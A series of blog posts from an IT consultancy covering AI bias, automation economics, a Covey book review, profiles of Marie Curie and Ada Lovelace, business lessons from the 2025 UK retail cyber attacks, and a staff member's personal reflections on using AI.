Deployment context: Even neutral systems can produce biased outcomes when placed in complex, real-world settings.

Bias is often unintentional, but the impact can be significant, especially when AI is used in hiring, law enforcement, healthcare, or public services.

Programming Bias Out vs. Teaching What Went Wrong

Most modern AI systems learn from vast datasets that have been scraped from books, websites, and social media. These contain a wealth of human insight but also reflect inequalities and prejudices, past and present.

One approach argues that AI should be trained to understand historical context rather than avoid it.

Algorithmic bias, like human bias, results in unfairness. However, algorithms, like viruses, can spread bias on a massive scale at a rapid pace.
(This expresses Joy Buolamwini's position on the dangers of unexamined algorithmic systems)

In contrast, others believe certain content is too dangerous to include - even with context.

If the input data is biased, the output will amplify these biases.
(Timnit Gebru emphasises the risks of training models on harmful or incomplete data and argues that some content should be excluded to prevent reinforcing existing power imbalances.)

Both perspectives raise valid concerns. Programming out all bias could create blind spots, but teaching harmful histories could unintentionally normalise them, especially since AI lacks the ability to critically reflect on context as humans do.

This is why even with different views, both stress that human insight and ethical reflection remain essential. AI can assist with decision-making, but it should not replace human responsibility to interpret, question, and lead with values.

A Century in Perspective: Values Change

Looking back over 100 years, many practices now widely considered unjust—such as racial segregation, criminalisation of homosexuality, and exclusion of women from voting or employment—were once standard in many parts of the world.

An AI system trained on data that includes these eras could misinterpret these norms as current and valid unless guided to understand how society has moved on and why.

Looking forward raises a different challenge: What might future generations view as ethical blind spots in today’s data?

Could AI unknowingly reinforce exclusion in employment or finance?
Might underrepresentation of marginalised voices limit its usefulness?
Could cultural dominance in training data skew its responses for non-Western users?

Real-World Examples of AI Bias

Facial Recognition and Invisibility

In 2018, the MIT Media Lab published the “Gender Shades” study, which found commercial facial recognition software had:

34% error rates for darker-skinned women
Less than 1% error rates for lighter-skinned men

The disparity wasn’t caused by malicious coding, but by incomplete training datasets that failed to represent a diverse population. This resulted in AI systems that quite literally didn’t “see” certain people accurately.

Language Models and Cultural Representation

Language-based AI tools also show how uneven training data can affect outputs. Researchers have found that AI often:

Associates certain professions with specific genders
Struggles with non-Western dialects or cultural references
Provides less accurate or useful answers to underrepresented user groups

In Kenya, for example, language models were found to be less effective due to gaps in training on local dialects and context-specific knowledge, thus limiting their value for the very people they were meant to support.

Women’s Health and Hidden Censorship

In 2025, a campaign by CensHERship revealed that 90% of surveyed women’s health organisations experienced some form of online content restriction or moderation. This wasn’t due to a deliberate exclusion in datasets, but rather the output of automated moderation tools, often driven by AI classifiers, that have learned from training data where such terms are disproportionately flagged as inappropriate.

Posts were flagged for using medical terms like “vagina” or “menstruation”
Educational images of breast exams were removed as “explicit”
Advertisements for women’s health were denied while similar men’s ads ran freely

These issues highlight how AI moderation systems, if trained on datasets that treat women’s health terms as taboo or explicit, can reinforce stigma or suppress vital health information. Brands such as Bodyform and Daye have publicly called out these imbalances, while formal complaints have been filed with the European Commission.

How Different Cultures Impact AI Training Data

Cultural diversity, or the lack of it, in training data significantly shapes how AI systems interpret, respond, and perform across different societies.

Bias and Representation: Western-centric datasets may lead to systems that overlook or misinterpret non-Western customs and perspectives.
Contextual Understanding: Language, social norms, and moral frameworks vary widely between cultures. AI often struggles to interpret idioms, hierarchical speech patterns, or culturally specific behaviours.

“It’s not just about removing bias, but about deciding what values you want your system to have.”
“We need to be explicit about the values we want our AI systems to embody.”
“Bias is not just a technical problem, it’s a value-laden problem.”
— Margaret Mitchell, Computer Scientist

Diverse Perspectives on Solutions

There’s no single fix. Different stakeholders offer different strategies:

Developers focus on tools like dataset audits, inclusive testing, and explainable models.
Regulators aim to categorise risks and enforce transparency, as seen in the EU AI Act.
Communities advocate for representation and inclusion in the design process, ensuring those most affected by bias have influence over how systems are built.

Where Do We Go From Here?

AI bias isn’t a bug to fix and forget. It’s a constant tension between progress and responsibility, between the promise of innovation and the lessons of history.

What can we do?

Design inclusively
Audit frequently
Involve diverse voices early and often
Balance harm prevention with historical awareness

Fair AI isn’t born from code alone—it’s built through choices. Yours. Ours.

Join the Conversation

Fairness in AI isn’t a fixed formula - it’s a global conversation. So what does it mean to you? Tag us on social and add your voice.

Missed our last post on AI ethics? Read it here.

Found this thought-provoking? Share it. The more voices we can include, the less bias we can build—and the fairer our future AI can be.

The Economic Paradox of the Fully Automated Workforce

Wed, 21 May 2025 21:57:38 GMT

So we automated the jobs. Now what..?

What Happens When the Machines Take Over — But the Markets Stay Human?

Artificial Intelligence is rapidly transforming how we work. Across industries, businesses are embracing automation to increase efficiency, reduce cost, and enhance accuracy. But with every job streamlined or outsourced to code, a critical question comes into sharper focus:

If machines do most of the work, who still earns and who is left to buy?

This blog explores the broader economic tension underlying the promise of AGI. It's not to resist innovation, but to ask how we ensure it remains human-centred, sustainable, and economically sound.

The Promise of Automation

There’s no question that AI and automation have delivered tangible benefits. Repetitive tasks can be offloaded. Operational costs can be reduced. Data can be processed at scale, unlocking insights we couldn’t access before.

From customer service chatbots to predictive maintenance systems, businesses are seeing real productivity gains. It's understandable businesses are wanting to explore how to take it further.

But as we scale these tools across the workforce, we encounter an uncomfortable truth: productivity and prosperity are not always the same thing .

But automation isn’t a monolith. As AI pioneer Andrew Ng puts it:

“We should be much more focused on automating tasks, not jobs.”

“AI won’t replace you. A person using AI will.”

This distinction is key to building an economy where AI augments human potential rather than replacing it.

Where Are We Now?

Data from the McKinsey Global Institute supports this view:

“Less than 5% of occupations can be fully automated. But around 60% of jobs have at least one-third of activities that could be automated.”

— McKinsey Global Institute, 2023

This means we’re not facing mass job extinction we are looking at widespread job reshaping. The challenge ahead lies in how we redesign work, reskill teams, and ethically deploy automation to benefit both business and society.

The Economic Paradox

So if automation reduces the need for human labour, and wages begin to disappear from large segments of the population, consumer demand risks collapsing . We may find ourselves producing more, but selling less, simply because fewer people can afford to participate.

This is the paradox: an economy with endless productivity, but no one left to buy what’s produced.

Multiple Paths Forward

This dilemma has prompted economists, technologists, and business leaders to consider a range of responses. Each one offers a different perspective and each raises new questions.

�� Classical Economic Thinking: A Keynesian Response

John Maynard Keynes developed Keynesian economics and after the Great Depression . This came from the ideas presented by Keynes in his 1936 book, The General Theory of Employment, Interest and Money . He argued that when private sector demand falters, the government must step in to stabilise the economy. In the context of automation, that intervention might look like Universal Basic Income (UBI) - redistributing income so that people can continue to participate in the economy, even if traditional jobs decline. Supporters see this as a way to protect demand and avoid recession. Critics worry it could disincentivise work or strain government budgets.

Like all models, it depends on careful design and on public trust.

�� The Capital Ownership Debate

Another perspective focuses on who benefits from automation. If only the asset-owning elite gain from increased productivity, inequality may deepen even as total output rises.

This view calls for broader ownership structures: employee profit-sharing, public AGI infrastructure, or cooperative business models that share the rewards of efficiency more equitably.

�� Speculative Models: Personal AGI Agents

Looking further ahead, some imagine a future where individuals own and train personal AGI systems - bots that work as their own personal agent, negotiate, and generate income on their behalf.

This concept reframes labour entirely. In this model, wealth doesn’t come from hours worked by humans, but from how well you’ve trained and directed your AGI . It’s an intriguing idea, but also one that raises concerns about digital access, ethics, and education gaps.

It's bold. It’s not imminent. But it’s increasingly part of future-thinking conversations as we design the next phase of economic participation.

What We Know, and What We Don’t

None of these models are silver bullets. Most are partial answers to a complex transition. What we do know is that decisions are being made now. Be it in boardrooms, development labs, or government halls, about how we automate, how we retrain, how we distribute value and this that will shape what this future looks like in tomorrow’s economy. We don’t claim to have the definitive answer. In truth, the future of work, automation, and income will likely involve elements of all these models which are adapted to local contexts, industries, and values.

We believe these decisions deserve careful thought, diverse voices, and ethical foresight.

Why This Matters for Businesses

AI adoption isn’t just a technical upgrade.

The tasks you automate influence the skills you retain.
The roles you redesign affect your long-term workforce value.
The ethical standards you set now will shape your brand’s relevance in an AI-enabled market.

Businesses that lead with ethics today build resilience for tomorrow.

Designing Ethically. Acting Responsibly. Listening Always.

AI has enormous potential We believe AI can and should support human potential.  We also believe responsible adoption requires more than a roadmap.
How it’s used, who it empowers, and what it replaces are all choices. Strategic ones.

Because progress without participation isn’t progress. It’s displacement.

At Taylored Solutions , we guide our clients in building AI systems that are responsible and ethical, where efficiency doesn’t come at the cost of inclusion.

Final Thought

If we’re building a future where machines drive outputs, we need to ensure humans still drive the value and make sure it’s one where everyone still has a place.

We are here to help shape your IT future thoughtfully, collaboratively, and ethically.

And if you're wrestling with these same questions, you're not alone.

We don’t have all the answers. But we keep asking questions.

Sources for Further Reading:

Book Review - Leading with Intention - Stephen R. Covey’s The 7 Habits of Highly Effective People

Thu, 15 May 2025 10:40:55 GMT

Discover how Stephen R. Covey’s timeless leadership book The 7 Habits of Highly Effective People influences strategic thinking and client engagement at Taylored Solutions, from proactive IT planning to trust-based consultancy.

Some books date fast. Others grow more relevant with time.

The 7 Habits of Highly Effective People is definitely the latter.

We’ve been referencing this classic a lot recently, for good reason. It underpins a lot of how we think and work at Taylored Solutions. Think Win-Win is built into our values, the Eisenhower Matrix is a regular planning tool we use, and we always try to begin with the end in mind when guiding our clients.

Why The 7 Habits Still Matter

Covey doesn’t offer surface-level advice or Hacks. He focuses instead, on timeless values and habits that help individuals and teams build clarity, character, and long-term effectiveness.

His main message? Real success comes from developing strong internal principles, not chasing quick wins or external rewards.

The book is structured around three progressive areas:

Independence – leading yourself well
Interdependence – working or leading effectively with others
Continuous Improvement – renewing and growing over time

Each habit builds from the last, from taking responsibility and prioritising what matters to collaborating with empathy and creating synergy. It’s a framework that feels as relevant in modern IT and cybersecurity as it does in leadership or personal development.

Applying the Habits at Taylored Solutions

While all seven of Covey’s habits are fundamental to how we work at Taylored Solutions, a few stand out more clearly in the way we deliver our Fractional/Virtual CTO services, independent audits, and consulting. These are the habits we draw on most often as we lead, plan, and support our clients.

�� Habit 2: Begin with the End in Mind

This habit is all about clarity and intentional planning, exactly what our Fractional/Virtual CTO and other services are built on.

We help clients stop reacting to immediate tech issues and instead design solutions around long-term goals. Questions we want you to ask often include:

What does secure, scalable success look like for your business?
What systems and structures will support that in the next 3–5 years?

It’s a mindset shift: from seeing your technology as a cost to it becoming your competitive advantage, and what sets you apart within your market.

⏳ Habit 3: Put First Things First

This is where the Eisenhower Matrix we talked about last week comes in — prioritising what’s important, not just what’s urgent.

In cybersecurity in particular, it’s easy to become reactive. Flashing alerts and fire-fighting can dominate the day. But we know to look beyond the noise. We focus on:

Proactive defence
Strategic alignment
Long-term resilience

This habit reminds us that leadership means choosing what to focus on and not just reacting to the loudest demand. It’s about preventing the noise of IT emergencies by consistently making time for the work that sits in quadrant two of the matrix.

�� Habit 4: Think Win-Win

This habit shapes how we approach every client relationship. For us, Win-Win is practical, not fluff.

We don’t recommend tools we wouldn’t use ourselves.
We don’t pitch services unless they solve meaningful problems.
We aim for shared success, not dependency.

This approach builds trust, transparency, and long-term partnerships, with outcomes that benefit both sides.

Final Thought: Effectiveness Is a Habit

Covey’s message is clear: effectiveness isn’t about doing more, it’s about doing what matters, and doing it with clarity, integrity, and empathy.

Part of doing what matters means making time to sharpen the saw - Habit 7 . We talk about this often at Taylored Solutions. It’s about renewal, rest, and maintaining the tools (or people) that keep everything running. Whether it’s exercise, good diet, sleep, reading, or just stepping back or even booking the vehichle in for a

service, this habit is about putting yourself in quadrant two. The things that don’t feel urgent until they’re absolutely critical.

That’s something we aim to bring into our work every day at Taylored Solutions.

Curious how these habits show up in the way we deliver IT strategy and cybersecurity? We’re always up for a conversation, be it about business goals or great books, as long as it’s over good coffee ☕️

Further reading:

Stephen R. Covey’s The 7 Habits of Highly Effective People

Women In STEM Marie Curie - A Radioactive Legacy

Fri, 09 May 2025 17:44:00 GMT

Marie Curie

Born on 7th November 1867 in Warsaw, Poland, Marie Curie (née Maria Skłodowska) was a pioneer in every sense of the word. She was the youngest of five children in a family full of educators, her early interest in science was nurtured by her father, a physics and mathematics teacher who lost his job due to pro-Polish sympathies under Russian rule. Her mother, was a headmistress and instilled in her a love of learning, sadly her mum died when Marie was only 10.

At 15, Marie graduated top of her high school class, and she earnt a gold medal for her academic excellence. Though as a woman, she was unable to attend the University of Warsaw. This did not stop her though, and she and her sister Bronya joined the clandestine “Floating University,” a secret network offering night classes that moved location to evade Russian authorities.

Marie's dream was to study science in Paris, but her family couldn’t afford it. So she worked as a governess for several years, and financially supported Bronya’s medical studies in Paris, with the promise Bronya would one day help her in return. This pact between sisters later allowed Marie to join her in France, a powerful example of women supporting women .

In 1891, Marie moved to Paris to study at the Sorbonne, where she became the first woman in France to earn a PhD in Physics and later the first female lecturer at the university. The science campus at the Sorbonne is often referred to as the Pierre et Marie Curie Campus.

Her scientific career was nothing short of revolutionary. Alongside her husband Pierre Curie and physicist Henri Becquerel, she developed the theory of radioactivity —a term she herself coined. Their discovery earned Marie and Pierre a share of the Nobel Prize in Physics in 1903 , making them the first married couple to win a Nobel Prize and Marie the first woman to win a Nobel Prize. After Pierre’s untimely death in 1906 in a tragic accident. Marie continued their work and went on to isolate the elements polonium (named after her beloved Poland) and radium , earning her a second Nobel Prize, this time in Chemistry in 1911.

Still to this day she is the only person ever awarded Nobel Prizes in two different scientific fields .

⸻

A Hidden Heroine of World War I

When the First World War erupted, Marie Curie turned her scientific brilliance to the battlefield. Recognising the potential of X-rays to aid surgery, she developed and deployed mobile radiography units , known as “petites Curies” . These mobile X-ray vans enabled doctors to locate bullets and shrapnel inside wounded soldiers, thus, dramatically improving survival rates.

Curie trained over 150 women, including her own teenage daughter Irène, to operate the equipment and read the scans. She even drove one of the mobile units to the front line herself. Though she received no formal recognition from the French government at the time, historians now credit her with saving countless lives during the war.

⸻

Legacy Outside the Lab

In 1914, Curie founded the Radium Institute (now Institut Curie) in Paris, a world-leading centre for medical research and cancer treatment. The institute trained many future Nobel laureates and continues to be a hub of innovation today.

Marie also allowed her name to be used by the Marie Curie Hospital in north London, which originally opened in 1930. The hospital was staffed entirely by women, treating female cancer patients using radiology and housed pioneering research. Though it was destroyed by a bomb during WWII, it was re-established in 1948 as a charity, now known as Marie Curie , and supports people with terminal illnesses and their families across the UK.

Despite the potentially vast commercial value of her discoveries, Marie refused to patent the process of isolating radium , her belief was - scientific knowledge belonged to the world not just to one person.

⸻

Final Years and Everlasting Influence

Marie Curie died on 4th July 1934 from aplastic anaemia, this was almost certainly caused by years of unprotected exposure to radiation, it was a risk not yet understood in her time. Her laboratory notebooks remain so radioactive they need to be stored in lead-lined boxes and require protective clothing to view them.

In 1995, Marie Curie was laid to rest in the Panthéon in Paris , the first woman to be honoured there on her own merits. She was a scientist, a humanitarian, a mother, a teacher, and a scientific legend.

Folklore has it that her last word was a whispered: “Radium?” Whether this is fact or folklore, it captures the spirit of a woman who devoted her life to the pursuit of knowledge.

⸻

Did You Know?

• Marie Curie spoke five languages : Polish, Russian, German, French, and English.

• She was nominated for a total of five Nobel Prizes and is part of a three-generation Nobel-winning family .

• Her notebooks will remain radioactive for over a thousand years.

⸻

Marie Curie’s Groundbreaking Firsts

• First woman to win a Nobel Prize

• First person to win Nobel Prizes in two scientific fields

• First female professor at the Sorbonne

• First woman entombed in the Panthéon on her own achievements

• First scientist to introduce mobile X-ray units in wartime

• Founder of the Radium Institute (Institut Curie), still active today

Marie Curie was a amazing woman and scientist, her groundbreaking research changed the course of science and medicine, shaping the future. She continues to inspire scientists and advocates for equality around the world.

References and further reading

Marie Curie

Wikipedia Marie Curie

Institut Curie

Nobel Prize

Biography Marie Curie

Britannica Marie Curie

Little People Big Dreams Book - Marie Curie

When IT Goes Wrong

Wed, 07 May 2025 18:02:26 GMT

It’s Not Just Cybersecurity That Costs You

When IT Goes Wrong: It’s Not Just Cybersecurity That Costs You

High-profile cyber attacks have dominated headlines in recent weeks, with Marks & Spencer and the Co-op both suffering major disruptions to their operations and customer services. Luxury retailer Harrods was also hit by a cyber incident, requiring system shutdowns to contain the threat. These incidents, which all occurred within days of each other, have exposed serious vulnerabilities across the UK retail sector Which prompted the National Cyber Security Centre to issue a warning that no business is immune.

While these are big names are making the news, the reality is that cyber threats and the true costs of IT underinvestment can impact organisations of any size.

Learning from Others: Are You Prepared?

An insider reportedly claimed one major retailer “didn’t have a cyber attack plan in place” during their breach. While this hasn’t been officially confirmed, it raises an important question for every business: is your organisation truly prepared for IT challenges?

It’s not a matter of if you’ll face IT issues, but when . How you respond makes all the difference.

The Real Costs of IT Failures

When IT goes wrong, the consequences go far beyond lost data or money. It can affect your business in multiple ways:

• Financial Penalties : Regulatory fines for mishandling personal data can reach millions under GDPR and other laws.

• Reputation Damage : Customers lose trust when their information is exposed, and that trust can take years to rebuild.

• Operational Disruption : Even minor technical issues can halt business operations, leading to lost revenue and frustrated staff.

• Legal Risks : Beyond fines, poor IT practices can expose your business to legal action and compliance failures.

• Hidden Costs : Outdated systems and lack of staff training gradually erode productivity and inflate operating costs.

Why IT is More Than Cybersecurity

Cybersecurity is a crucial part of your IT strategy, but it’s only one part of effective Risk IT management. Other risks can cause just as much damage if overlooked:

• Business Continuity : Do you have a tested plan to keep things running if systems go down?

• Access Control : Are permissions managed properly to minimise errors and prevent unauthorised access?

• Third-Party Risks : Are your suppliers secure, or could their vulnerabilities affect you?

• Software Licensing : Are your licences current and compliant, or are you risking surprise costs or outages?

• Staff Readiness : Does your team know what to do when IT issues strike?

Shifting from Reacting to Planning: Working Smarter with IT

Often businesses fall into a cycle of reacting to urgent IT problems like outages, security incidents, or failed backups, putting out one fire after another. These tasks are urgent and important, but they often consume valuable time, resources and energy that could be used more strategically.

True resilience is built by focusing on proactive, forward-thinking, for example; risk assessments, system audits, team training, and long-term planning. These are the investments that help prevent emergencies before they happen and support business growth over time.

The Eisenhower Matrix is a well-known time management tool categorises these efforts as “important but not urgent.” Prioritising this kind of work not only protects your organisation, but also frees up time to focus on innovation and improvement.

Quadrant 1 tasks in the Eisenhower Matrix: urgent and important, demanding immediate attention to keep the business running.

Quadrant 2 tasks in the Eisenhower Matrix: important but not urgent tasks, building solid systems and processes, businesses can reduce stress, optimise resources, and stay ahead of potential risks.

Below is an Example of Stephen R. Covey’s Time Management Matrix, 7 Habits of Highly Effective People.

Transparency and Trust: Lessons from the Headlines

Both Marks & Spencer and the Co-op issued public statements and updates following the attacks, providing transparency and acknowledging the impact on their customers. While some details particularly around the extent of customer data exposure remain unclear, their openness helped towards managing customer concerns and demonstrated a willingness to take responsibility.

Though the fallout continues. Marks & Spencer’s shares initially fell by almost 7%, losing upwards of £650 million from the company’s value in a matter of days, their shares fell yet again 4.7% yesterday, it's losses since this major cyber attack have now reached more than £1billion. It is estimated Marks & Spencer is potentially losing over £3 million a day while their online platform remains closed for purchases.

In the case of the Co-op, customer data was reportedly compromised. The consequences of this are more than technical issues and financial losses from potential fines, this is where customer’s trust in the brand is put to the test. A breach of this nature risks long-term reputational damage, especially in a time when consumer expectations for data security are higher than ever.

A recent survey found that 66% of consumers lose trust in a company following a data breach , and 70% would stop doing business with a brand after a serious security incident . This reflects customer loyalty as a main concern.

Reflection for Businesses

Take a moment to consider:

• If your business faced a major IT disruption, how confident are you that your team could respond quickly and effectively?

• If your customers understood your approach to cybersecurity and IT planning, would they feel confident in the protection of their data?

Final Thoughts: Is Your IT Strategy Ready for Tomorrow?

Proactive IT management while it is about avoiding disasters, it’s also about helping your business operate efficiently, meet regulatory obligations, and build trust with your customers.

By creating strong collaboration between leadership, your CTO (whether full-time or fractional), and your IT team (internal or external) you lay the foundation for resilience and sustainable growth.

Now more than ever, the question is not can you afford to invest in strategic IT management, but can you afford not to.

References and further reading.

FoodNavigator: M&S, Co-op, Harrods cyber attacks

Infosecurity Magazine: DragonForce group tied to attacks

Reuters: M&S, Co-op, Harrods breaches

Computing: Harrods latest target

BBC News: Harrods cyber attack

Cloud & More: What M&S, Harrods, and Co-op teach us

BBC News: Beware phony IT calls after hacks

Sky News: M&S ‘had no plan’ for cyber attacks

Security: Cyber Security Breach Statistics

This is Money: M&S Sees Losses over £1billion

Exploring Artificial Intelligence [4]

Thu, 01 May 2025 21:29:19 GMT

A Non Tech Perspective

Written by me Sharon, Digital & Social Media Consultant

I'm not a tech expert. I'm Digital & Social media consultant who's figuring things out as I go. AI is definitely one of those things. Unlike Dan, our Director and vCTO who's got all those years of experience and qualifications in this area. I'm learning on the job, and, I am having to learn fast.

This blog is from a different angle than our usual Exploring AI stuff. It's from a personal point of view. It’s not confrontational, it's personal, just my thoughts emptied on to a page. Written partly to help me make sense of it all in my own head, and partly because I figure some of you might be feeling the same way.

While Dan does the tech, I ask questions and try to explain it in a way that makes sense to the majority of us, while keeping it human. Are you like me, interested and amazed yet quite frankly a little terrified by AI?

***

It's Just a Tool?

Here's my take: AI is a tool. Like the machinery that changed farming forever during the farming Industrial revolution. When tractors and harvesters came along, farmers had to make a choice: adapt or get left behind. The ones who embraced these machines could farm more land without breaking their backs. They were still farmers, they just farmed smarter.

It's the same story throughout history. This conversation popped up in the car when we were talking to our daughter about her History homework. Teachers were saying students can’t use AI, we feel why shouldn’t they use AI… I understand what they mean though, it’s not meant to be “don’t use AI for research” (it’s just an advanced version of an internet search). They mean don’t copy and paste without reading it, studying it and owning “your” work “your” perspective, on what AI has found for you. This then started the "you use the tools that make the job easier" discussion. If you think about getting around. When we need to go 20 or more miles, most of us don't walk especially if it's pouring rain. We bus it, drive, ride a bike or grab a train. Using the tools available doesn't make us lazy; it makes us practical. Though images of the humans in WALL-E do pop into my mind.

Animals do it too. Scavengers will happily eat another predator's leftovers rather than hunt themselves. That's not being lazy. That's being smart. AI is the same just newer, it's not about replacing our brains but helping us do more with the time and energy we've got.

***

Losing the Human Touch?

That said, we do need to be cautious. I saw a Social Media post by Steven Bartlett (from Diary of a CEO) that really resonated. He pointed out the shift in tone in emails, and now that it's been mentioned, I’ve noticed it.

What used to be a quick "Hey mate, could you just…?" has turned into a formal "I hope this email finds you well. I would like to discuss…" Now there is a time and a place for those emails, we all have or know that friend (it’s me) that has “their telephone voice” emails are the same. Friendly, personal voices are often being replaced by what sounds like over-polished PR speak, even when it's not needed. Now it's been pointed out, I can't unsee it.

We risk losing the art of conversation (convo). But, to be fair, that train left the station with the invention of texts, accelerated (xlr8’d) with social media, and AI is just speeding it along a little faster. Will we really lose the art of conversation? It’s just adapting, like shorthand which goes all the way back to 1837, so we could write at the speed of the spoken words. I think as long as we recognise the need for the polished email over the friendly chat email, and don’t forget the phone call, we should be ok.

***

AI Makes It Easier, Doesn’t it?

I use AI regularly while drafting posts, editing, and research. But it actually doesn't make my job easier or quicker. If anything, it makes it longer. Why? Because it opens up more rabbit holes than I'd have found on my own. I end up researching more, reading more, and double-checking and fact-checking EVERYTHING. For me, that's a good thing, just not when I need to get a post out but have just found a whole other school of thought on a particular topic I didn’t know. It has kickstarted my curiosity and extended the frequency of the AI topics from 2 weeks to 3 weeks, as I learn things I hadn’t anticipated being in the blog, but absolutely has to feature, can see me drafting and redrafting these things 5/6 times, spending hours reading and researching from reputable sources I can quote.

Recently, when writing one of the Exploring AI series Blogs, as always I keep it neutral. While yes I do have my own opinions, the aim of this series is to help people learn and make their own decisions and opinions. I ran it through an AI tool for feedback and got a telling off, apparently I hadn't kept it neutral at all. Without realising, I'd written it very much from my perspective, and my opinion had steered the entire tone within it.

With AI's help, I started exploring viewpoints I hadn't even considered because I actually didn't know they existed. This led to a yet another complete restructure of the blog and new to me information that I had to research. It was like having my own personal editor or lecturer pointing out my blind spots.

***

From Encyclopedia Battles to Google Classroom

I often think back to school days when we had to do history essays and the library had one copy of the relevant encyclopedia. Queues forming around the table and person who had it. Once we got it, one of us would frantically copy it word for word so we could share it around later at someone’s house. We'd crowd over it, shielding it from other students like it was a top-secret document.

These days, all that information is at your fingertips, which is incredible but it can also be isolating. My kids don't have that same kind of connection. They might chat with friends about homework, but it's generally it’s through smartphones or Google Classroom. It's not quite the same as sitting around the table with snacks and friends, talking it through (and probably ending up with suspiciously similar homework, something our teachers definitely noticed a few times).

I'm not saying one way is better than the other. I just think we need to find a balance.

***

Expanding My World

Anyone who knows me knows I was never into video games. While some of my friends were into their Sega Mega Drives or Super Nintendo consoles, I was out with the horses, down the beach or walking our dogs. I eventually got a Sega, but rarely used it, something my mum predicted accurately. Though I think my dad quite enjoyed it when he could find where I'd left it. Computers were just not my thing.

So to find myself now, actively learning about AI and connecting with people I wouldn't normally meet, it's a bit surreal. These are people whose paths I wouldn't typically cross, but I learn so much from them. I find myself looking forward to the next meeting, to hearing their perspectives, opinion, and sharing discoveries.

***

The Changing of Our Language with AI

There's been a lot of discussion on online about certain words and writing styles becoming more common since AI tools went mainstream, words like "robust" and "leverage," and stylistic choices like the em dash.

Personally, I've never really used "robust" it's just not a word that fits how I write or speak. But "leverage"? That's been in my vocabulary for years. It appeared in my CV and the occasional English essay long before AI came along.

As for the em dash I've seen it in novels pre ChatGPT, Cecelia Ahern has been known to throw a couple in. I've always liked how it adds something extra to a sentence without breaking its flow. I didn't use it at all in my personal social media posts, but my professional social media journey‘s tone is evolving all the time. I definitely reach for it more now, especially when trying to keep sentences fluid yet readable. I'll admit that AI reminded me how useful it is I just didn't realise quite how often I'd start using it!

Interestingly, the em dash is taught in schools part of the curriculum from around Year 6, and sometimes even earlier in Year 5. So while it's having a moment, like any “buzz” it's not new. Like many things AI is "bringing into the spotlight," these elements were already there in data that AI is learning from, so by default we are relearning and so they're appearing more consistently.

So How do we Find the Balance?

I wish I knew. What I do know is AI is here, and like technological advancements that come before it, it's not going away. As with any revolutionary technology, from printing presses to smartphones, it will change how we work and communicate. The question isn't whether to use it, but how to use it wisely and ethically.

For me, AI has become my researcher and editor, rather than a replacement for my own creativity. It challenges my assumptions, broadens my research, and sometimes saves me from oversights. But the final decision of what to include, what tone to use, what message to convey, those, they remain mine.

My AI journey isn't just about the technology itself, but the human connections it's created. The conversations about its potential and downfalls. The often joked “we all remember i-Robot” if you haven’t watched, I recommend it. The community of people I’ve become a small part of figuring it out together.

As I have said, AI is remarkable. Its greatest value might be in enhancing our human capabilities rather than replacing them. If we can find that middle ground, we just might be living in one of the most exciting and maybe slightly scary times in human history.

I’m still learning, still questioning, and still balancing my interest against my fear. If you’ve read this far—well done for making it to the end—it’s probably clear I’ve got a bit of a back-and-forth relationship with AI. And I suppose that’s where most of us are right now: somewhere in the middle, venturing into curiosity and straying into scared.

Women In STEM - Ada Lovelace

Tue, 08 Apr 2025 20:14:01 GMT

Ada Lovelace: The Enchantress of Numbers

"The Analytical Engine has no pretensions whatever to originate anything. It can do whatever we know how to order it to perform" Ada Lovelace.

The second Tuesday of every October is Ada Lovelace Day , in honour of this 19th century mathematician and computer programming pioneer, whose vision almost two centuries later still impacts today's technological world. Ada Lovelace is famed for her collaboration with Charles Babbage on the Analytical Engine, often cited as a precursor to the modern computer. Yet her legacy is rich in her own rights, and she continues to inspire women in STEM today.

Despite her significant contributions to computing, it was her mother who steered her toward mathematics, to prevent Ada from developing her father's "poetic temperament" rather than progressive thinking. Ada was the daughter of the famous poet Lord Byron, whom her mother feared had passed down his "dangerous" creative inclinations. ( Historic UK)

As a child, Ada demonstrated remarkable creativity and scientific curiosity. She had designed her own flying machine at age 12, meticulously studying bird anatomy and appropriate materials for wings. Ada's detailed diagrams and notes, which she called " Flyology ," on flight mechanics revealed her methodical mind and innovative spirit long before her focus shifted to mathematics and long before her work on computing. ( The New Yorker)

Her most famous achievement came when she translated an Italian article on Babbage's Analytical Engine. Ada added her own extensive notes that increased the original text threefold according to the University of Oxford's Bodleian Libraries. Within these notes was " Note G " containing what are now considered as the first algorithm designed to be processed by a machine, effectively making her the world's first computer programmer and showing her insights and forward thinking. ( Bodleian Libraries)

A Visionary Mind Ahead of Her Time

While Babbage viewed his Analytical Engine primarily as a mathematical calculator, Ada saw a much broader scope. She famously predicted such machines would one day manipulate symbols rather than just numbers, and might even create music or art. These ideas seemed fantastical in the 1840s, yet they've become reality with today's computers and artificial intelligence.

" Note G " did more than document a process, it transformed Babbage's Analytical Engine from a calculating machine into something more revolutionary: a programmable computer. By introducing the concept of an algorithm designed specifically for the machine, Ada altered its function through instructions, rather than mechanical redesign. This was the critical leap from hardware to software, from counting to computing. In doing so, she redefined the potential of the Analytical Engine and laid the philosophical and practical groundwork for how we still build and program computers today. Interestingly, " Note G " was only initialled 'AAL' (Augusta Ada Lovelace), and it wasn't until 1953, over a century after her death, that her full contributions were widely recognised, when B.V. Bowden republished her notes in 'Faster Than Thought: A Symposium on Digital Computing Machines.

Ada called her approach "poetical science". Despite societal norms, her educational background was extensive and interdisciplinary, drawing from mathematics, logic, and even artistic culture, uniquely positioning her to contribute to the development of computing. She wrote, " I do not believe that my father was such a poet as I shall be an analyst and metaphysician, " revealing her confidence in bringing together seemingly disparate fields of knowledge.

Legacy and Influence

Ada's achievements are even more remarkable when you consider the restraints on women of Victorian England. She also faced health challenges throughout her life, including measles which temporarily paralysed her as a teenager.

At a time when women's roles were confined predominantly to the domestic sphere, the barriers Lovelace broke in STEM still inspire women to enter STEM fields that were once considered exclusive only to men. Lovelace's work laid the foundation for women in tech fields, though she thought she would in the shadows of history. Her foresight and intellectual bravery continue to influence the field of computing and serve as a beacon for women pursuing careers in science and technology today.

Despite her brilliance, Ada faced personal struggles, including what some historians describe as a gambling problem. ( Britannica) Like many aspects of her life, she approached betting with mathematical analysis, developing systems she believed would improve her odds, though these ultimately led to financial troubles. Ada Lovelace battled fragile health throughout her life, and sadly died very young at the age of 36, at the same age as her father, from uterine cancer in 1852. Her legacy lives on far beyond her too brief life. In 1980 The U.S Department of Defense named a newly developed Computer Language "Ada" in honour of her.

I wonder what modern technological advancement Ada would be most fascinated by if she were alive today... AI, Quantum Computing or Coding?

She conceptualised such ideas long before the technology existed, and her algorithm principles even now underpin modern software development. Ada Lovelace was ahead of her time, and her work still echoes around us in computer science to this day.

References and Further Reading

Bodleian Libraries. (2018, July 26). Ada Lovelace and the Analytical Engine. University of Oxford .

Britannica. (n.d.). Ada Lovelace. In Encyclopaedia Britannica.

Historic UK. (n.d.). Ada Lovelace.

